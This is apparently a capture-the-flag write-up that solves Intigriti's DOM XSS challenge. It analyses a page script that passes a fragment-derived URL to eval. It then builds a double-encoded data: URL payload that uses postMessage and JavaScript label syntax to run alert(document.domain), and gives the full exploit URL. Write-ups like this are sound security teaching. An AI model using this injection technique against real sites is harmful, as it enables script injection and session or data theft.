24 May 2019 / 5 minutes of reading
Intigriti published a DOM XSS Challenge available at Intigriti's bug bounty platform. The assignment was to exploit a DOM XSS vulnerability on this page and to trigger a pop up of the document.domain (challenge.intigriti.io).
The target page is a simple HTML containing following JS script:
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
The code is very short, after first lookup there is:
document.location.hash.substr(1) (it is a "source" - user input)iframe is created -> document.body.appendChild(iframe)message event listener window.addEventListener("message", executeCtx, false); and handler implementation function executeCtx(e)eval(url) (it is a "sink")Let's analyze it deeper. First, look at the "source":
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
This part does the following:
document.location.hash.substr(1)https://challenge.intigriti.io#FRAGMENT_DATA -> FRAGMENT_DATAdecodeURIComponentURL objecthttps://example.com, data:text/html,contentscript, < and > characters by a forbidden string%253Csvg onload=alert()%253E -> %3Csvg onload=alert()%3E. Because there were no forbidden characters identified.Second line:
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe and passes fragment data into iframe.srciframeRest of the script implements listener and handler function:
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
It does the following:
message event listener for the iframeWindow objects (doc)iframe using a postMessage function e.g. window.postMessage({'key': 'value'}, '*')executeCtx(e)iframe.contentWindow{}url or iframe.src is passed to eval(url)To successfully exploit this, we need to achieve that fragment data is a:
To execute the exploit we need to:
executeCtxFirst, it is important to note that every URL scheme is a valid javascript code because it acts as a label. Label syntax is the following:
label :
statement
URL scheme looks like this:
https://example.com
It is a valid label with comment // (source). Everything after is commented out. But if there is a possibility to inject newline \x0a into payload, rest of the payload after new line character will be executed:
eval("https://example.com\x0aalert('scheme payload')")
Instead of new line injection, we can use a data URL scheme. The syntax is the following:
data:[<mediatype>][;base64],<data>
Let's check a text/html data scheme from a javascript perspective:
data:text/html,<svg onload=alert()>
datatext, html/,<svg onload=alert()>But it is possible to compose a valid javascript and URL scheme:
data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');
There are:
/*<svg onload=alert()>*/1;var text=1, html=2;alert('scheme payload');All that we need now is a message that would trigger the message event. This can be achieved using the postMessage function. Handler function checks source of the message. It must be iframe. To do this let's compose the payload:
data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);
Commented code /*<svg onload="parent.postMessage({},'*')">*/ is a valid HTML loaded into iframe. Code triggers (sends) empty message parent.postMessage({},'*'). This message is handled by executeCtx. All required conditions are met:
iframeeval(url) and executedTo put it together, the payload must be double URL encoded due to the sanitizing routine. Final payload looks like this:
data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
To run XSS open URL:
https://challenge.intigriti.io/#data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
After loading this URL a pop-up with "challenge.intigriti.io" is displayed.
All news